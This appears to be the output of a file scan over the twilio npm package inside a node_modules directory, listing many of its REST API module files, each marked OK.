+/scan/node_modules/twilio/lib/rest/serverless/v1/service/environment/log.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/environment/log.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/environment/deployment.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/environment/variable.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/environment/variable.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/build/buildStatus.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/build/buildStatus.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/environment.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/asset.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/environment.js: OK
+/scan/node_modules/twilio/lib/rest/serverless/v1/service/build.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/serverless/V1.js: OK
+/scan/node_modules/twilio/lib/rest/PreviewBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/BulkexportsBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Wireless.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Proxy.d.ts: OK
+/scan/node_modules/twilio/lib/rest/MonitorBase.js: OK
+/scan/node_modules/twilio/lib/rest/TrunkingBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ChatBase.js: OK
+/scan/node_modules/twilio/lib/rest/TaskrouterBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Preview.js: OK
+/scan/node_modules/twilio/lib/rest/TrusthubBase.js: OK
+/scan/node_modules/twilio/lib/rest/SyncBase.js: OK
+/scan/node_modules/twilio/lib/rest/NotifyBase.js: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/referralConversion.d.ts: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/availableAddOn.d.ts: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/referralConversion.js: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/moduleDataManagement.js: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/installedAddOn.js: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/moduleData.js: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/availableAddOn/availableAddOnExtension.js: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/availableAddOn/availableAddOnExtension.d.ts: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/moduleData.d.ts: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/moduleDataManagement.d.ts: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/installedAddOn/installedAddOnExtension.d.ts: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/installedAddOn/installedAddOnUsage.d.ts: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/installedAddOn/installedAddOnExtension.js: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/installedAddOn/installedAddOnUsage.js: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/availableAddOn.js: OK
+/scan/node_modules/twilio/lib/rest/marketplace/v1/installedAddOn.d.ts: OK
+/scan/node_modules/twilio/lib/rest/marketplace/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/marketplace/V1.js: OK
+/scan/node_modules/twilio/lib/rest/Sync.js: OK
+/scan/node_modules/twilio/lib/rest/PricingBase.js: OK
+/scan/node_modules/twilio/lib/rest/AccountsBase.js: OK
+/scan/node_modules/twilio/lib/rest/NumbersBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Serverless.js: OK
+/scan/node_modules/twilio/lib/rest/NotifyBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/WirelessBase.js: OK
+/scan/node_modules/twilio/lib/rest/ConversationsBase.js: OK
+/scan/node_modules/twilio/lib/rest/Bulkexports.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Accounts.js: OK
+/scan/node_modules/twilio/lib/rest/Supersim.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Wireless.js: OK
+/scan/node_modules/twilio/lib/rest/content/v1/content.d.ts: OK
+/scan/node_modules/twilio/lib/rest/content/v1/legacyContent.d.ts: OK
+/scan/node_modules/twilio/lib/rest/content/v1/content/approvalCreate.js: OK
+/scan/node_modules/twilio/lib/rest/content/v1/content/approvalFetch.js: OK
+/scan/node_modules/twilio/lib/rest/content/v1/content/approvalFetch.d.ts: OK
+/scan/node_modules/twilio/lib/rest/content/v1/content/approvalCreate.d.ts: OK
+/scan/node_modules/twilio/lib/rest/content/v1/contentAndApprovals.d.ts: OK
+/scan/node_modules/twilio/lib/rest/content/v1/content.js: OK
+/scan/node_modules/twilio/lib/rest/content/v1/contentAndApprovals.js: OK
+/scan/node_modules/twilio/lib/rest/content/v1/legacyContent.js: OK
+/scan/node_modules/twilio/lib/rest/content/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/content/V1.js: OK
+/scan/node_modules/twilio/lib/rest/content/V2.js: OK
+/scan/node_modules/twilio/lib/rest/content/v2/content.d.ts: OK
+/scan/node_modules/twilio/lib/rest/content/v2/contentAndApprovals.d.ts: OK
+/scan/node_modules/twilio/lib/rest/content/v2/content.js: OK
+/scan/node_modules/twilio/lib/rest/content/v2/contentAndApprovals.js: OK
+/scan/node_modules/twilio/lib/rest/content/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/IpMessaging.js: OK
+/scan/node_modules/twilio/lib/rest/Assistants.js: OK
+/scan/node_modules/twilio/lib/rest/SupersimBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Iam.js: OK
+/scan/node_modules/twilio/lib/rest/InsightsBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk.js: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk/phoneNumber.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk/ipAccessControlList.js: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk/recording.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk/recording.js: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk/originationUrl.js: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk/credentialList.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk/originationUrl.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk/phoneNumber.js: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk/ipAccessControlList.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trunking/v1/trunk/credentialList.js: OK
+/scan/node_modules/twilio/lib/rest/trunking/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/trunking/V1.js: OK
+/scan/node_modules/twilio/lib/rest/Monitor.js: OK
+/scan/node_modules/twilio/lib/rest/Sync.d.ts: OK
+/scan/node_modules/twilio/lib/rest/VoiceBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Studio.js: OK
+/scan/node_modules/twilio/lib/rest/FrontlineApiBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Marketplace.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Numbers.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Studio.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ServerlessBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Lookups.d.ts: OK
+/scan/node_modules/twilio/lib/rest/VoiceBase.js: OK
+/scan/node_modules/twilio/lib/rest/IpMessagingBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/FlexApi.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Insights.js: OK
+/scan/node_modules/twilio/lib/rest/Supersim.js: OK
+/scan/node_modules/twilio/lib/rest/MarketplaceBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Oauth.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ServerlessBase.js: OK
+/scan/node_modules/twilio/lib/rest/PreviewIam.js: OK
+/scan/node_modules/twilio/lib/rest/FrontlineApi.js: OK
+/scan/node_modules/twilio/lib/rest/RoutesBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/IamBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Notify.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ContentBase.js: OK
+/scan/node_modules/twilio/lib/rest/iam/v1/oAuthApp.d.ts: OK
+/scan/node_modules/twilio/lib/rest/iam/v1/getApiKeys.d.ts: OK
+/scan/node_modules/twilio/lib/rest/iam/v1/token.d.ts: OK
+/scan/node_modules/twilio/lib/rest/iam/v1/getApiKeys.js: OK
+/scan/node_modules/twilio/lib/rest/iam/v1/apiKey.d.ts: OK
+/scan/node_modules/twilio/lib/rest/iam/v1/token.js: OK
+/scan/node_modules/twilio/lib/rest/iam/v1/newApiKey.d.ts: OK
+/scan/node_modules/twilio/lib/rest/iam/v1/apiKey.js: OK
+/scan/node_modules/twilio/lib/rest/iam/v1/newApiKey.js: OK
+/scan/node_modules/twilio/lib/rest/iam/v1/oAuthApp.js: OK
+/scan/node_modules/twilio/lib/rest/iam/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/iam/V1.js: OK
+/scan/node_modules/twilio/lib/rest/LookupsBase.js: OK
+/scan/node_modules/twilio/lib/rest/StudioBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Verify.js: OK
+/scan/node_modules/twilio/lib/rest/Taskrouter.d.ts: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/secondaryAuthToken.d.ts: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/credential/aws.js: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/credential/publicKey.d.ts: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/credential/publicKey.js: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/credential/aws.d.ts: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/bulkContacts.js: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/bulkConsents.d.ts: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/credential.d.ts: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/bulkContacts.d.ts: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/messagingGeopermissions.d.ts: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/bulkConsents.js: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/messagingGeopermissions.js: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/safelist.js: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/credential.js: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/authTokenPromotion.js: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/safelist.d.ts: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/authTokenPromotion.d.ts: OK
+/scan/node_modules/twilio/lib/rest/accounts/v1/secondaryAuthToken.js: OK
+/scan/node_modules/twilio/lib/rest/accounts/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/accounts/V1.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/byocTrunk.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/archivedCall.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/dialingPermissions/settings.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/dialingPermissions/bulkCountryUpdate.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/dialingPermissions/bulkCountryUpdate.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/dialingPermissions/country.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/dialingPermissions/country/highriskSpecialPrefix.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/dialingPermissions/country/highriskSpecialPrefix.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/dialingPermissions/settings.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/dialingPermissions/country.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/sourceIpMapping.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/dialingPermissions.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/archivedCall.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/connectionPolicy.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/connectionPolicy.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/byocTrunk.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/connectionPolicy/connectionPolicyTarget.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/connectionPolicy/connectionPolicyTarget.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/ipRecord.js: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/sourceIpMapping.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/dialingPermissions.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/v1/ipRecord.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/voice/V1.js: OK
+/scan/node_modules/twilio/lib/rest/knowledge/v1/knowledge/chunk.js: OK
+/scan/node_modules/twilio/lib/rest/knowledge/v1/knowledge/chunk.d.ts: OK
+/scan/node_modules/twilio/lib/rest/knowledge/v1/knowledge/knowledgeStatus.d.ts: OK
+/scan/node_modules/twilio/lib/rest/knowledge/v1/knowledge/knowledgeStatus.js: OK
+/scan/node_modules/twilio/lib/rest/knowledge/v1/knowledge.js: OK
+/scan/node_modules/twilio/lib/rest/knowledge/v1/knowledge.d.ts: OK
+/scan/node_modules/twilio/lib/rest/knowledge/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/knowledge/V1.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/credential.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/credential.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/channel.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/role.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/role.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/user.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/user/userChannel.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/user/userChannel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/channel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/channel/invite.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/channel/message.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/channel/member.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/channel/member.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/channel/invite.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/channel/message.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v1/service/user.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/V1.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/V2.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/credential.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/credential.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/channel.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/binding.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/role.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/role.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/user.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/user/userChannel.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/user/userBinding.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/user/userBinding.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/user/userChannel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/channel.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/binding.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/channel/invite.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/channel/message.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/channel/member.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/channel/webhook.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/channel/member.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/channel/webhook.js: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/channel/invite.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/channel/message.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/v2/service/user.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ipMessaging/V2.d.ts: OK
+/scan/node_modules/twilio/lib/rest/AssistantsBase.js: OK
+/scan/node_modules/twilio/lib/rest/PreviewIamBase.js: OK
+/scan/node_modules/twilio/lib/rest/Messaging.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/configuration/webhook.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/configuration/webhook.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversation.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/role.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/role.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/participantConversation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/addressConfiguration.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/user.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversationWithParticipants.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/participantConversation.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/addressConfiguration.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/configuration.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/credential.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversationWithParticipants.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/user/userConversation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/user/userConversation.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/user.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/configuration.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/credential.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/configuration/notification.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/configuration/webhook.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/configuration/webhook.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/configuration/notification.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversation.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/binding.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/role.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/role.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/participantConversation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/user.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversationWithParticipants.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/participantConversation.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/configuration.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversationWithParticipants.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/user/userConversation.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/user/userConversation.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/binding.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/user.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/configuration.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversation/message.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversation/webhook.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversation/webhook.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversation/message/deliveryReceipt.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversation/message/deliveryReceipt.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversation/participant.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversation/participant.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/service/conversation/message.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversation/message.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversation/webhook.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversation/webhook.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversation/message/deliveryReceipt.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversation/message/deliveryReceipt.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversation/participant.js: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversation/participant.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/v1/conversation/message.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/conversations/V1.js: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/sim.js: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/ratePlan.js: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/usageRecord.js: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/command.js: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/ratePlan.d.ts: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/command.d.ts: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/sim/dataSession.js: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/sim/usageRecord.js: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/sim/dataSession.d.ts: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/sim/usageRecord.d.ts: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/usageRecord.d.ts: OK
+/scan/node_modules/twilio/lib/rest/wireless/v1/sim.d.ts: OK
+/scan/node_modules/twilio/lib/rest/wireless/V1.d.ts: OK
+/scan/node_modules/twilio/lib/rest/wireless/V1.js: OK
+/scan/node_modules/twilio/lib/rest/OauthBase.js: OK
+/scan/node_modules/twilio/lib/rest/Routes.js: OK
+/scan/node_modules/twilio/lib/rest/Oauth.js: OK
+/scan/node_modules/twilio/lib/rest/FlexApiBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/Conversations.js: OK
+/scan/node_modules/twilio/lib/rest/IamBase.js: OK
+/scan/node_modules/twilio/lib/rest/KnowledgeBase.d.ts: OK
+/scan/node_modules/twilio/lib/rest/ApiBase.js: OK
+/scan/node_modules/twilio/lib/rest/TrunkingBase.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/shortCode.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/notification.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/key.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/conference.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/signingKey.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/signingKey.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/conference/recording.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/conference/recording.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/conference/participant.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/conference/participant.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/balance.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/token.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/message.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/key.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber/mobile.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber/tollFree.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber/local.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber/assignedAddOn/assignedAddOnExtension.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber/assignedAddOn/assignedAddOnExtension.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber/mobile.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber/assignedAddOn.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber/tollFree.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber/assignedAddOn.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/incomingPhoneNumber/local.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/transcription.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/recording/addOnResult.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/recording/transcription.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/recording/addOnResult/payload/data.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/recording/addOnResult/payload/data.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/recording/addOnResult/payload.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/recording/addOnResult/payload.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/recording/addOnResult.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/recording/transcription.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/authorizedConnectApp.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/address.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/connectApp.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/queue.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/recording.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/newSigningKey.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/sip.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/recording.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/validationRequest.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/connectApp.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/message/feedback.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/message/media.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/message/media.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/message/feedback.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/thisMonth.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/lastMonth.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/thisMonth.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/daily.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/monthly.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/yearly.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/today.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/monthly.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/daily.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/allTime.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/yesterday.d.ts: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/today.js: OK
+/scan/node_modules/twilio/lib/rest/api/v2010/account/usage/record/yesterday.js: OK
